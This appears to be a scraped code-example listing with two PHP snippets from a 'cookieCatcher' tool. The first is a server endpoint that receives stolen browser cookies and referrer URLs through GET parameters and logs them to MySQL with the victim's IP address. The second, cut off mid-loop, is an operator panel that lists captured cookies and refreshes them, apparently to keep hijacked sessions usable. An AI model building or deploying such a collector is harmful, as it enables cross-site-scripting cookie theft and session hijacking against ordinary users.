Beispiel #1
0
<?php

include 'inc/configure.php';
include 'inc/mysql_querylab.php';
include 'inc/cookieCatcher.php';
////////////////////////////////////
## Initiate Objects/Classes
$catcher = new cookieCatcher();
////////////////////////////////////
## Initiate DB Connection
$catcher->connect($db_HOST, $db_USERNAME, $db_PASSWORD, $db_NAME);
////////////////////////////////////
## Grab cookie data and store in MySQL
$cdata = $_GET['c'];
$referer = $_GET['d'];
// Check for valid cookie data
if (isset($cdata) && $cdata != "" && isset($referer) && $referer != "") {
    $catcher->grab($_SERVER['REMOTE_ADDR'], $referer, $cdata);
}
Beispiel #2
0
<?php

include 'inc/configure.php';
include 'inc/mysql_querylab.php';
include 'inc/cookieCatcher.php';
////////////////////////////////////
## Initiate Objects/Classes
$catcher = new cookieCatcher();
////////////////////////////////////
## Initiate DB Connection
$catcher->connect($db_HOST, $db_USERNAME, $db_PASSWORD, $db_NAME);
////////////////////////////////////
## Declare Variables
$message = '';
$cookieResults = '';
////////////////////////////////////
## Cookie Commands
if (isset($_GET['action'])) {
    switch ($_GET['action']) {
        case 'refresh':
            $result = $catcher->refresh($_GET['cookieID']);
            $message .= $result ? "Cookie #" . htmlspecialchars($_GET['cookieID']) . " Refreshed<br/>" : "An error occurred.<br/>";
            $message .= "<iframe id=\"frame\" src=\"" . $siteURL . "?cookieID=" . htmlspecialchars($_GET['cookieID']) . "&action=view\"></iframe>";
            break;
        case 'refresh-all':
            //do something
            $cookies = $catcher->view();
            if ($cookies->recordCount > 0) {
                foreach ($cookies->results as $cookie) {
                    $result = $catcher->refresh($cookie['id']);
                    $message .= $result ? "Cookie #" . htmlspecialchars($cookie['id']) . " Refreshed<br/>" : "An error occurred.<br/>";